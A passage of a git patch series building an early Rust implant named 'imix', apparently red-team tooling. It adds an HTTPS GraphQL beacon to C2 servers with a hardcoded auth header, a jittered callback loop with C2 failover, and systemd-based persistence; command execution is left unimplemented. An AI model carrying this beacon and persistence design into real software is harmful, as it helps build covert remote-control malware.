"registry+https://github.com/rust-lang/crates.io-index" +checksum = "05d6a336abd10814198f66e2a91ccd7336611f30334119ca8ce300536666fcf4" +dependencies = [ + "cc", +] + +[[package]] +name = "openssl-sys" +version = "0.9.72" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e46109c383602735fa0a2e48dd2b7c892b048e1bf69e5c3b1d804b7d9c203cb" +dependencies = [ + "autocfg", + "cc", + "libc", + "openssl-src", + "pkg-config", + "vcpkg", +] + [[package]] name = "os_str_bytes" version = "6.0.0" @@ -101,6 +464,53 @@ dependencies = [ "memchr", ] +[[package]] +name = "parking_lot" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87f5ec2493a61ac0506c0f4199f99070cbe83857b0337006a30f3e6719b8ef58" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28141e0cc4143da2443301914478dc976a61ffdb3f043058310c70df2fed8954" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-sys", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e280fbe77cc62c91527259e9442153f4688736748d24660126286329742b4c6c" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58893f751c9b0412871a09abd62ecd2a00298c6c83befa223ef98c52aef40cbe" + +[[package]] +name = "ppv-lite86" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" + [[package]] name = "proc-macro2" version = "1.0.36" @@ -119,12 +529,99 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.2.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8383f39639269cde97d255a32bdb68c047337295414940c68bdd30c2e13203ff" +dependencies = [ + "bitflags", +] + +[[package]] +name = "remove_dir_all" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" +dependencies = [ + "winapi", +] + [[package]] name = "ryu" version = "1.0.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "73b4b750c782965c211b42f022f59af1fbceabdd026623714f104152f1ec149f" +[[package]] +name = "schannel" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f05ba609c234e60bee0d547fe94a4c7e9da733d1c962cf6e59efa4cd9c8bc75" +dependencies = [ + "lazy_static", + "winapi", +] + +[[package]] +name = "scopeguard" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" + +[[package]] +name = "security-framework" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dc14f172faf8a0194a3aded622712b0de276821addc574fa54fc0a1167e10dc" +dependencies = [ + "bitflags", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0160a13a177a45bfb43ce71c01580998474f556ad854dcbca936dd2841a5c556" +dependencies = [ + "core-foundation-sys", + "libc", +] + [[package]] name = "serde" version = "1.0.136" @@ -156,6 +653,37 @@ dependencies = [ "serde", ] +[[package]] +name = "signal-hook-registry" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51e73328dc4ac0c7ccbda3a494dfa03df1de2f46018127f60c693f2648455b0" +dependencies = [ + "libc", +] + +[[package]] +name = "slab" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9def91fd1e018fe007022791f865d0ccc9b3a0d5001e01aabb8b40e46000afb5" + +[[package]] +name = "smallvec" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2dd574626839106c320a323308629dcb1acfc96e32a8cba364ddc61ac23ee83" + +[[package]] +name = "socket2" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0" +dependencies = [ + "libc", + "winapi", +] + [[package]] name = "strsim" version = "0.10.0" @@ -173,6 +701,20 @@ dependencies = [ "unicode-xid", ] +[[package]] +name = "tempfile" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4" +dependencies = [ + "cfg-if", + "fastrand", + "libc", + "redox_syscall", + "remove_dir_all", + "winapi", +] + [[package]] name = "termcolor" version = "1.1.2" @@ -188,12 +730,131 @@ version = "0.14.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0066c8d12af8b5acd21e00547c3797fde4e8677254a7ee429176ccebbe93dd80" +[[package]] +name = "tokio" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af73ac49756f3f7c01172e34a23e5d0216f6c32333757c2c61feb2bbff5a5ee" +dependencies = [ + "bytes", + "libc", + "memchr", + "mio", + "num_cpus", + "once_cell", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "winapi", +] + +[[package]] +name = "tokio-io-timeout" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30b74022ada614a1b4834de765f9bb43877f910cc8ce4be40e89042c9223a8bf" +dependencies = [ + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-macros" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b557f72f448c511a979e2564e55d74e6c4432fc96ff4f6241bc6bded342643b7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tokio-native-tls" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7d995660bd2b7f8c1568414c1126076c13fbb725c40112dc0120b78eb9b717b" +dependencies = [ + "native-tls", + "tokio", +] + +[[package]] +name = "tokio-util" +version = "0.6.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e99e1983e5d376cd8eb4b66604d2e99e79f5bd988c3055891dcd8c9e2604cc0" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "log", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tower-service" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "360dfd1d6d30e05fda32ace2c8c70e9c0a9da713275777f5a4dbb8a1893930c6" + +[[package]] +name = "tracing" +version = "0.1.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d8d93354fe2a8e50d5953f5ae2e47a3fc2ef03292e7ea46e3cc38f549525fb9" +dependencies = [ + "cfg-if", + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03cfcb51380632a72d3111cb8d3447a8d908e577d31beeac006f836383d29a23" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "try-lock" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" + [[package]] name = "unicode-xid" version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "want" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" +dependencies = [ + "log", + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.10.2+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" + [[package]] name = "winapi" version = "0.3.9" @@ -224,3 +885,46 @@ name = "winapi-x86_64-pc-windows-gnu" version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-sys" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3df6e476185f92a12c072be4a189a0210dcdcf512a1891d6dff9edb874deadc6" +dependencies = [ + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_msvc" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8e92753b1c443191654ec532f14c199742964a061be25d77d7a96f09db20bf5" + +[[package]] +name = "windows_i686_gnu" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a711c68811799e017b6038e0922cb27a5e2f43a2ddb609fe0b6f3eeda9de615" + +[[package]] +name = "windows_i686_msvc" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "146c11bb1a02615db74680b32a68e2d61f553cc24c4eb5b4ca10311740e44172" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c912b12f7454c6620635bbff3450962753834be2a594819bd5e945af18ec64bc" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "504a2476202769977a040c6364301a3f65d0cc9e3fb08600b2bda150a0488316" diff --git a/cmd/imix/Cargo.toml b/cmd/imix/Cargo.toml index cb307d15e..8b08d2a28 100644 --- a/cmd/imix/Cargo.toml +++ b/cmd/imix/Cargo.toml @@ -7,5 +7,11 @@ edition = "2021" [dependencies] clap = { version = "3.0" } +rand = "0.8.5" +openssl = { version = "0.10", features = ["vendored"] } serde = { version = "1.0", features = ["derive"] } -serde_json = "1.0" \ No newline at end of file +serde_json = "1.0" +hyper = { version = "0.14", features = ["full"] } +hyper-timeout = "0.4" +hyper-tls = "0.5.0" +tokio = { version = "1", features = ["full"] } \ No newline at end of file diff --git a/cmd/imix/src/graphql.rs b/cmd/imix/src/graphql.rs new file mode 100644 index 000000000..f59bd6e26 --- /dev/null +++ b/cmd/imix/src/graphql.rs @@ -0,0 +1,62 @@ +use serde::{Serialize, Deserialize}; +use std::time::Duration; + +use hyper::{Client, Request, Method, Body}; +use hyper::body; + +use hyper_tls::HttpsConnector; +use hyper_timeout::TimeoutConnector; + +#[derive(Serialize, Deserialize)] +struct GraphQLRequest { + #[serde(rename="operationName")] + operation_name: String, + query: String, + variables: String +} + +#[derive(Serialize, Deserialize)] +struct GraphQLCallbackResponse { + id: u64 +} + +#[derive(Serialize, Deserialize)] +struct GraphQLMutationsResponse { + callback: GraphQLCallbackResponse +} + +#[derive(Serialize, Deserialize)] +pub struct GraphQLResponse { + data: GraphQLMutationsResponse +} + +pub async fn call(variables: String, uri: String, timeout: u64) -> Result{ + let h = HttpsConnector::new(); + let mut connector = TimeoutConnector::new(h); + connector.set_connect_timeout(Some(Duration::from_secs(timeout))); + connector.set_read_timeout(Some(Duration::from_secs(timeout))); + connector.set_write_timeout(Some(Duration::from_secs(timeout))); + let client = Client::builder().build::<_, hyper::Body>(connector); + + let req_body = serde_json::to_string(&GraphQLRequest { + operation_name: String::from("ImixCallback"), + query: String::from(r#" + mutation ImixCallback($target_id: ID!) { + callback(input: $target_id) { + id + } + }"#), + variables: variables, + })?; + let req = Request::builder() + .method(Method::POST) + .uri(uri) + .header("X-Realm-Auth", "letmeinnn") + .body(Body::from(req_body))?; + + let http_resp = client.request(req).await?; + let http_resp_body = body::to_bytes(http_resp).await?; + let resp: GraphQLResponse = serde_json::from_slice(&http_resp_body)?; + + Ok(resp) +} \ No newline at end of file diff --git a/cmd/imix/src/lib.rs b/cmd/imix/src/lib.rs index 316a14e4b..8415a69af 100644 --- a/cmd/imix/src/lib.rs +++ b/cmd/imix/src/lib.rs @@ -1,12 +1,48 @@ use serde::{Serialize, Deserialize}; -#[derive(Serialize, Deserialize)] +#[derive(Debug)] +pub enum Error { + Io(std::io::Error), + HyperInvalidUri(hyper::http::uri::InvalidUri), + HyperHttp(hyper::http::Error), + Hyper(hyper::Error), + SerdeJson(serde_json::Error) +} + +impl From for Error { + fn from(error: std::io::Error) -> Self { + Error::Io(error) + } +} + +impl From for Error { + fn from(error: hyper::http::uri::InvalidUri) -> Self { + Error::HyperInvalidUri(error) + } +} + +impl From for Error { + fn from(error: hyper::http::Error) -> Self { + Error::HyperHttp(error) + } +} + +impl From for Error { + fn from(error: hyper::Error) -> Self { + Error::Hyper(error) + } +} + +impl From for Error { + fn from(error: serde_json::Error) -> Self { + Error::SerdeJson(error) + } +} + +#[derive(Serialize, Deserialize, Clone)] pub struct C2Config { uri: String, - timeout: u32, priority: u8, - sticky: bool, - failsafe: bool } #[derive(Serialize, Deserialize)] @@ -16,14 +52,22 @@ pub struct ServiceConfig { executable_path: String } +#[derive(Serialize, Deserialize)] +pub struct CallbackConfig { + interval: u64, + jitter: u64, + timeout: u64, + c2_configs: Vec, +} + #[derive(Serialize, Deserialize)] pub struct Config { target_name: String, - callback_interval: u32, - callback_jitter: u32, - c2_configs: Vec, + target_forward_connect_ip: String, + callback_config: CallbackConfig, service_configs: Vec, } pub mod windows; -pub mod linux; \ No newline at end of file +pub mod linux; +pub mod graphql; \ No newline at end of file diff --git a/cmd/imix/src/linux.rs b/cmd/imix/src/linux.rs index e41b24897..2df4b0761 100644 --- a/cmd/imix/src/linux.rs +++ b/cmd/imix/src/linux.rs @@ -1,9 +1,10 @@ -use std::fs; +use std::{fs, thread, time}; +use rand::Rng; use std::process::Command; pub const SYSTEMD_DIR: &str = "/lib/systemd/system/"; -pub fn install(config: super::Config)-> std::io::Result<()> { +pub async fn install(config: super::Config)-> Result<(), super::Error> { // go through each service config consuming the structs for service_config in config.service_configs.into_iter() { let service_name = service_config.name; @@ -56,4 +57,44 @@ WantedBy=multi-user.target Command::new("systemctl").arg("start").arg(&service_name).output()?; } Ok(()) +} + +async fn exec(_response: super::graphql::GraphQLResponse) -> Result<(), super::Error> { + unimplemented!("this is where i would exec a tome... if i had one!") +} + +pub async fn run(config: super::Config) -> Result<(), super::Error> { + println!("Linux run!"); + let mut c2_index = 0; + let callback_config = config.callback_config; + let interval = callback_config.interval; + let jitter = callback_config.jitter; + + loop { + loop { + let c2_config = callback_config.c2_configs[c2_index].clone(); + + // TODO: do something with c2_config and pass in for graphql + let resp = match super::graphql::call( + String::from("variables"), + c2_config.uri.clone(), + callback_config.timeout + ).await { + Ok(r) => r, + Err(_) => { + c2_index = (c2_index + 1) % callback_config.c2_configs.len(); + // wait 5 second between failovers + thread::sleep(time::Duration::from_secs(5)); + continue; + }, + }; + exec(resp).await?; + break; + } + + // sleep for interval - jitter delta + let mut rng = rand::thread_rng(); + let delta = rng.gen_range(0..jitter); + thread::sleep(time::Duration::from_secs(interval-delta)); + } } \ No newline at end of file diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs index dc6cd9d00..b399ba24c 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/imix/src/main.rs @@ -5,30 +5,45 @@ use std::fs::File; use std::path::Path; -fn install(file_path: String) -> std::io::Result<()> { - println!("Installing with {} config...", file_path); - let config_file = File::open(file_path)?; +async fn install(config_path: String) -> Result<(), imix::Error> { + let config_file = File::open(config_path)?; let config: imix::Config = serde_json::from_reader(config_file)?; - if cfg!(windows) { - return imix::windows::install(config); - } + #[cfg(target_os = "windows")] + return imix::windows::install(config).await; + + #[cfg(target_os = "linux")] + if Path::new(imix::linux::SYSTEMD_DIR).is_dir() { + return imix::linux::install(config).await; + } + + unimplemented!("The current OS/Service Manager is not supported") +} - if Path::new(imix::linux::SYSTEMD_DIR).is_dir() { - return imix::linux::install(config); - } +async fn run(config_path: String) -> Result<(), imix::Error> { + let config_file = File::open(config_path)?; + let config: imix::Config = serde_json::from_reader(config_file)?; - unimplemented!("The current OS/Service Manager is not supported") -} + #[cfg(target_os = "windows")] + return imix::windows::run(config).await; -fn run() -> std::io::Result<()> { - println!("Running..."); + #[cfg(target_os = "linux")] + if Path::new(imix::linux::SYSTEMD_DIR).is_dir() { + return imix::linux::run(config).await; + } - Ok(()) + unimplemented!("The current OS/Manager is not supported") } -fn main() -> std::io::Result<()> { +#[tokio::main] +async fn main() -> Result<(), imix::Error> { let matches = App::new("imix") + .arg( + arg!( + -c --config "Sets a custom config file" + ) + .required(false) + ) .subcommand( App::new("install") .about("Run in install mode") @@ -41,11 +56,15 @@ fn main() -> std::io::Result<()> { ) .get_matches(); + if let Some(config_path) = matches.value_of("config") { + return run(String::from(config_path)).await + } + match matches.subcommand() { Some(("install", args)) => { - let file_path_str = args.value_of("config").unwrap(); - install(String::from(file_path_str)) + let config_path = args.value_of("config").unwrap(); + install(String::from(config_path)).await }, - _ => run(), + _ => Ok(()) } } diff --git a/cmd/imix/src/windows.rs b/cmd/imix/src/windows.rs index d87847625..aa52c171b 100644 --- a/cmd/imix/src/windows.rs +++ b/cmd/imix/src/windows.rs @@ -1,4 +1,8 @@ -pub fn install(_config: super::Config)-> std::io::Result<()> { +pub async fn install(_config: super::Config)-> Result<(), super::Error> { + unimplemented!("Windows is currently not supported") +} + +pub async fn run(_config: super::Config)-> Result<(), super::Error> { unimplemented!("Windows is currently not supported") } \ No newline at end of file From d6610e677ba67b63036a4230d85f811aa1b47334 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Thu, 17 Feb 2022 06:04:14 +0000 Subject: [PATCH 25/56] changed the String to a PathBuf for newman :^) --- cmd/imix/src/graphql.rs | 1 + cmd/imix/src/linux.rs | 10 +++++----- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/cmd/imix/src/graphql.rs b/cmd/imix/src/graphql.rs index f59bd6e26..853eb52eb 100644 --- a/cmd/imix/src/graphql.rs +++ b/cmd/imix/src/graphql.rs @@ -58,5 +58,6 @@ pub async fn call(variables: String, uri: String, timeout: u64) -> Result Result<(), super::Error> { loop { loop { let c2_config = callback_config.c2_configs[c2_index].clone(); - + // TODO: do something with c2_config and pass in for graphql let resp = match super::graphql::call( String::from("variables"), From 03ed3c9040641143f463af264c3c92e4c7ca6c6b Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 23 Feb 2022 00:45:19 +0000 Subject: [PATCH 26/56] project structure? --- cmd/imix/Cargo.lock | 5 +++++ cmd/imix/Cargo.toml | 1 + cmd/imix/eldritch/Cargo.lock | 7 +++++++ cmd/imix/eldritch/Cargo.toml | 8 ++++++++ cmd/imix/eldritch/src/lib.rs | 9 +++++++++ cmd/imix/src/main.rs | 1 + 6 files changed, 31 insertions(+) create mode 100644 cmd/imix/eldritch/Cargo.lock create mode 100644 cmd/imix/eldritch/Cargo.toml create mode 100644 cmd/imix/eldritch/src/lib.rs diff --git a/cmd/imix/Cargo.lock b/cmd/imix/Cargo.lock index a4c245770..a8146f88f 100644 --- a/cmd/imix/Cargo.lock +++ b/cmd/imix/Cargo.lock @@ -74,6 +74,10 @@ version = "0.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5827cebf4670468b8772dd191856768aedcb1b0278a04f989f7766351917b9dc" +[[package]] +name = "eldritch" +version = "0.1.0" + [[package]] name = "fastrand" version = "1.7.0" @@ -276,6 +280,7 @@ name = "imix" version = "0.1.0" dependencies = [ "clap", + "eldritch", "hyper", "hyper-timeout", "hyper-tls", diff --git a/cmd/imix/Cargo.toml b/cmd/imix/Cargo.toml index 8b08d2a28..e78f65986 100644 --- a/cmd/imix/Cargo.toml +++ b/cmd/imix/Cargo.toml @@ -6,6 +6,7 @@ edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +eldritch = { path = "eldritch" } clap = { version = "3.0" } rand = "0.8.5" openssl = { version = "0.10", features = ["vendored"] } diff --git a/cmd/imix/eldritch/Cargo.lock b/cmd/imix/eldritch/Cargo.lock new file mode 100644 index 000000000..e62f78d1f --- /dev/null +++ b/cmd/imix/eldritch/Cargo.lock @@ -0,0 +1,7 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "eldritch" +version = "0.1.0" diff --git a/cmd/imix/eldritch/Cargo.toml b/cmd/imix/eldritch/Cargo.toml new file mode 100644 index 000000000..ef8d91531 --- /dev/null +++ b/cmd/imix/eldritch/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "eldritch" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] diff --git a/cmd/imix/eldritch/src/lib.rs b/cmd/imix/eldritch/src/lib.rs new file mode 100644 index 000000000..dad5f2100 --- /dev/null +++ b/cmd/imix/eldritch/src/lib.rs @@ -0,0 +1,9 @@ +#[cfg(test)] +mod tests { + #[test] + fn it_works() { + let result = 2 + 2; + assert_eq!(result, 4); + } +} + diff --git a/cmd/imix/src/main.rs b/cmd/imix/src/main.rs index b399ba24c..ae8fc584f 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/imix/src/main.rs @@ -1,4 +1,5 @@ extern crate imix; +extern crate eldritch; use clap::{App, arg}; use std::fs::File; From d14698ecae086747cb9a3eb0472935db617d279b Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 23 Feb 2022 02:35:29 +0000 Subject: [PATCH 27/56] RESTRUCTURING --- cmd/imix/eldritch/Cargo.lock | 7 ------- cmd/imix/eldritch/Cargo.toml | 8 -------- cmd/implants/.gitignore | 9 +++++++++ cmd/implants/Cargo.toml | 5 +++++ cmd/{imix => implants}/contrib/example_config.json | 0 cmd/implants/eldritch/.gitignore | 9 +++++++++ cmd/implants/eldritch/Cargo.toml | 6 ++++++ cmd/{imix => implants}/eldritch/src/lib.rs | 0 cmd/{ => implants}/imix/.gitignore | 0 cmd/{ => implants}/imix/Cargo.lock | 0 cmd/{ => implants}/imix/Cargo.toml | 4 +--- cmd/{ => implants}/imix/src/graphql.rs | 0 cmd/{ => implants}/imix/src/lib.rs | 0 cmd/{ => implants}/imix/src/linux.rs | 0 cmd/{ => implants}/imix/src/main.rs | 6 +++--- cmd/{ => implants}/imix/src/windows.rs | 0 16 files changed, 33 insertions(+), 21 deletions(-) delete mode 100644 cmd/imix/eldritch/Cargo.lock delete mode 100644 cmd/imix/eldritch/Cargo.toml create mode 100644 cmd/implants/.gitignore create mode 100644 cmd/implants/Cargo.toml rename cmd/{imix => implants}/contrib/example_config.json (100%) create mode 100644 cmd/implants/eldritch/.gitignore create mode 100644 cmd/implants/eldritch/Cargo.toml rename cmd/{imix => implants}/eldritch/src/lib.rs (100%) rename cmd/{ => implants}/imix/.gitignore (100%) rename cmd/{ => implants}/imix/Cargo.lock (100%) rename cmd/{ => implants}/imix/Cargo.toml (74%) rename cmd/{ => implants}/imix/src/graphql.rs (100%) rename cmd/{ => implants}/imix/src/lib.rs (100%) rename cmd/{ => implants}/imix/src/linux.rs (100%) rename cmd/{ => implants}/imix/src/main.rs (95%) rename cmd/{ => implants}/imix/src/windows.rs (100%) diff --git a/cmd/imix/eldritch/Cargo.lock b/cmd/imix/eldritch/Cargo.lock deleted file mode 100644 index e62f78d1f..000000000 --- a/cmd/imix/eldritch/Cargo.lock +++ /dev/null @@ -1,7 +0,0 @@ -# This file is automatically @generated by Cargo. -# It is not intended for manual editing. -version = 3 - -[[package]] -name = "eldritch" -version = "0.1.0" diff --git a/cmd/imix/eldritch/Cargo.toml b/cmd/imix/eldritch/Cargo.toml deleted file mode 100644 index ef8d91531..000000000 --- a/cmd/imix/eldritch/Cargo.toml +++ /dev/null @@ -1,8 +0,0 @@ -[package] -name = "eldritch" -version = "0.1.0" -edition = "2021" - -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - -[dependencies] diff --git a/cmd/implants/.gitignore b/cmd/implants/.gitignore new file mode 100644 index 000000000..ab5f4658e --- /dev/null +++ b/cmd/implants/.gitignore @@ -0,0 +1,9 @@ +# Generated by Cargo +# will have compiled files and executables +target/ + +# These are backup files generated by rustfmt +**/*.rs.bk + +# Also not an exec create so no Cargo.lock +/Cargo.lock \ No newline at end of file diff --git a/cmd/implants/Cargo.toml b/cmd/implants/Cargo.toml new file mode 100644 index 000000000..b39ec6230 --- /dev/null +++ b/cmd/implants/Cargo.toml @@ -0,0 +1,5 @@ +[workspace] +members = [ + "imix", + "eldritch" +] \ No newline at end of file diff --git a/cmd/imix/contrib/example_config.json b/cmd/implants/contrib/example_config.json similarity index 100% rename from cmd/imix/contrib/example_config.json rename to cmd/implants/contrib/example_config.json diff --git a/cmd/implants/eldritch/.gitignore b/cmd/implants/eldritch/.gitignore new file mode 100644 index 000000000..f8d6d3adf --- /dev/null +++ b/cmd/implants/eldritch/.gitignore @@ -0,0 +1,9 @@ +# Generated by Cargo +# will have compiled files and executables +target/ + +# These are backup files generated by rustfmt +**/*.rs.bk + +# Also not an exec create so no Cargo.lock +Cargo.lock \ No newline at end of file diff --git a/cmd/implants/eldritch/Cargo.toml b/cmd/implants/eldritch/Cargo.toml new file mode 100644 index 000000000..3661b7f9e --- /dev/null +++ b/cmd/implants/eldritch/Cargo.toml @@ -0,0 +1,6 @@ +[package] +name = "eldritch" +version = "0.1.0" +edition = "2021" + +[dependencies] diff --git a/cmd/imix/eldritch/src/lib.rs b/cmd/implants/eldritch/src/lib.rs similarity index 100% rename from cmd/imix/eldritch/src/lib.rs rename to cmd/implants/eldritch/src/lib.rs diff --git a/cmd/imix/.gitignore b/cmd/implants/imix/.gitignore similarity index 100% rename from cmd/imix/.gitignore rename to cmd/implants/imix/.gitignore diff --git a/cmd/imix/Cargo.lock b/cmd/implants/imix/Cargo.lock similarity index 100% rename from cmd/imix/Cargo.lock rename to cmd/implants/imix/Cargo.lock diff --git a/cmd/imix/Cargo.toml b/cmd/implants/imix/Cargo.toml similarity index 74% rename from cmd/imix/Cargo.toml rename to cmd/implants/imix/Cargo.toml index e78f65986..3ef845140 100644 --- a/cmd/imix/Cargo.toml +++ b/cmd/implants/imix/Cargo.toml @@ -3,10 +3,8 @@ name = "imix" version = "0.1.0" edition = "2021" -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - [dependencies] -eldritch = { path = "eldritch" } +eldritch = { path = "../eldritch" } clap = { version = "3.0" } rand = "0.8.5" openssl = { version = "0.10", features = ["vendored"] } diff --git a/cmd/imix/src/graphql.rs b/cmd/implants/imix/src/graphql.rs similarity index 100% rename from cmd/imix/src/graphql.rs rename to cmd/implants/imix/src/graphql.rs diff --git a/cmd/imix/src/lib.rs b/cmd/implants/imix/src/lib.rs similarity index 100% rename from cmd/imix/src/lib.rs rename to cmd/implants/imix/src/lib.rs diff --git a/cmd/imix/src/linux.rs b/cmd/implants/imix/src/linux.rs similarity index 100% rename from cmd/imix/src/linux.rs rename to cmd/implants/imix/src/linux.rs diff --git a/cmd/imix/src/main.rs b/cmd/implants/imix/src/main.rs similarity index 95% rename from cmd/imix/src/main.rs rename to cmd/implants/imix/src/main.rs index ae8fc584f..e984d9ba7 100644 --- a/cmd/imix/src/main.rs +++ b/cmd/implants/imix/src/main.rs @@ -1,7 +1,7 @@ extern crate imix; extern crate eldritch; -use clap::{App, arg}; +use clap::{Command, arg}; use std::fs::File; use std::path::Path; @@ -38,7 +38,7 @@ async fn run(config_path: String) -> Result<(), imix::Error> { #[tokio::main] async fn main() -> Result<(), imix::Error> { - let matches = App::new("imix") + let matches = Command::new("imix") .arg( arg!( -c --config "Sets a custom config file" @@ -46,7 +46,7 @@ async fn main() -> Result<(), imix::Error> { .required(false) ) .subcommand( - App::new("install") + Command::new("install") .about("Run in install mode") .arg( arg!( diff --git a/cmd/imix/src/windows.rs b/cmd/implants/imix/src/windows.rs similarity index 100% rename from cmd/imix/src/windows.rs rename to cmd/implants/imix/src/windows.rs From 46697e9d6076e00779a0a1834fce7ffc48586152 Mon Sep 17 00:00:00 2001 From: Nicholas OBrien Date: Wed, 23 Feb 2022 06:43:10 +0000 Subject: [PATCH 28/56] gett the initial starlark setup --- .devcontainer/devcontainer.json | 10 ++++- 